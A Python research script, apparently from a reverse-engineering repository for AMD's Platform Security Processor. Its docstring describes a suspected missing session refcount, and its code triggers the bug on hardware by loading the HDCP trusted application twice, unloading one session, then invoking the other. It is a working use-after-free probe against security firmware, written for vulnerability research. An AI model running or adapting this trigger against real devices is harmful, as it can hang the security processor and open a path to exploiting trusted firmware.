aboutsummaryrefslogtreecommitdiffstats
path: root/psp_out/probe_ta_session_uaf.py
blob: d69b36085c5a30910d62ef92ed9c3db1c694b24e (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
"""TA instance lifetime: is there a missing refcount between sessions?

Static finding (sos2):
  * tee_load_ta allocates a SESSION slot (48 entries x 32B @ base+76928) by
    scanning for the free marker 0xFF, then calls bl_load_ta_image.
  * bl_load_ta_image @0x16130 calls ta_find_by_uuid; if the UUID is ALREADY
    loaded it does  `STRB R0,[R1]`  -- storing the EXISTING ta_slot into the new
    session entry -- and returns immediately. Two sessions, one instance.
  * tee_unload_ta then does  tee_ta_teardown(ta_slot)  (destroy process, release
    objects, unmap) and only afterwards frees ITS OWN session (*v7 = -1).
  * The only guard is the flag at instance+0x30, but that is written by
    tee_ta_command / ta_signal_cmd_done -- a "command in flight" flag, not a
    session refcount.

So: load the same TA twice, unload one session, and the other session should be
left pointing at a destroyed instance.

Sequence:
  1. LOAD_TA(hdcp) -> sid_A
  2. LOAD_TA(hdcp) -> sid_B      (expect a different session id)
  3. INVOKE on sid_B             (baseline: should work)
  4. UNLOAD_TA(sid_A)
  5. INVOKE on sid_B             (the test: UAF if the instance was destroyed)

Recoverable: worst case is a PSP hang -> psp_recover.py.
"""
import ctypes, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32

d = Device["AMD"]; adev = d.iface.dev_impl; psp = adev.psp
SZ = ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
P = '/Users/user/dev/amd-psp-re/psp_out/'

def alive(): return adev.reg(f"{psp.reg_pref}_81").read() != 0
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr, SZ)[:])[864:868], "little")
def alloc(n):
    pa = adev.mm.palloc(n, align=0x1000, zero=True); return pa, adev.paddr2mc(pa)

blob = open(P + 'hdcp_full.bin', 'rb').read()

def load_ta():
    ap, amc = alloc(0x40000); cp, cmc = alloc(0x8000)
    adev.vram.view(ap, len(blob))[:] = blob; adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr, SZ)[:] = b"\x00" * SZ
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
    t.app_phy_addr_hi, t.app_phy_addr_lo = hi32(amc), lo32(amc); t.app_len = len(blob)
    t.cmd_buf_phy_addr_hi, t.cmd_buf_phy_addr_lo = hi32(cmc), lo32(cmc); t.cmd_buf_len = 0x8000
    try:
        r = psp._ring_submit(c); return r.resp.session_id, cp, 0
    except RuntimeError:
        return None, cp, stat()
    except TimeoutError:
        return None, cp, -1

def invoke(sid, tc=0x12):
    adev.vram.view(psp.cmd_paddr, SZ)[:] = b"\x00" * SZ
    ic = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = ic.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, tc
    try:
        psp._ring_submit(ic); return 0
    except RuntimeError:
        return stat()
    except TimeoutError:
        return -1

def unload(sid):
    adev.vram.view(psp.cmd_paddr, SZ)[:] = b"\x00" * SZ
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
    c.cmd.cmd_unload_ta.session_id = sid
    try:
        psp._ring_submit(c); return 0
    except RuntimeError:
        return stat()
    except TimeoutError:
        return -1

def show(x): return "TIMEOUT" if x == -1 else hex(x)

print("alive:", alive())
sid_a, shm_a, e1 = load_ta(); print("1) LOAD_TA #1 -> sid_A=%s  err=%s" % (sid_a, show(e1)))
sid_b, shm_b, e2 = load_ta(); print("2) LOAD_TA #2 -> sid_B=%s  err=%s" % (sid_b, show(e2)))
if sid_a is None or sid_b is None:
    print("   (a load failed; cannot run the test)"); raise SystemExit
print("   distinct session ids:", sid_a != sid_b)
print("3) INVOKE(sid_B) baseline      -> %s" % show(invoke(sid_b)))
print("4) UNLOAD_TA(sid_A)            -> %s" % show(unload(sid_a)))
print("   alive after unload:", alive())
print("5) INVOKE(sid_B) AFTER unload  -> %s   <<< UAF test" % show(invoke(sid_b)))
print("   alive:", alive())
print("6) INVOKE(sid_A) (freed sess)  -> %s" % show(invoke(sid_a)))
print("   alive at end:", alive())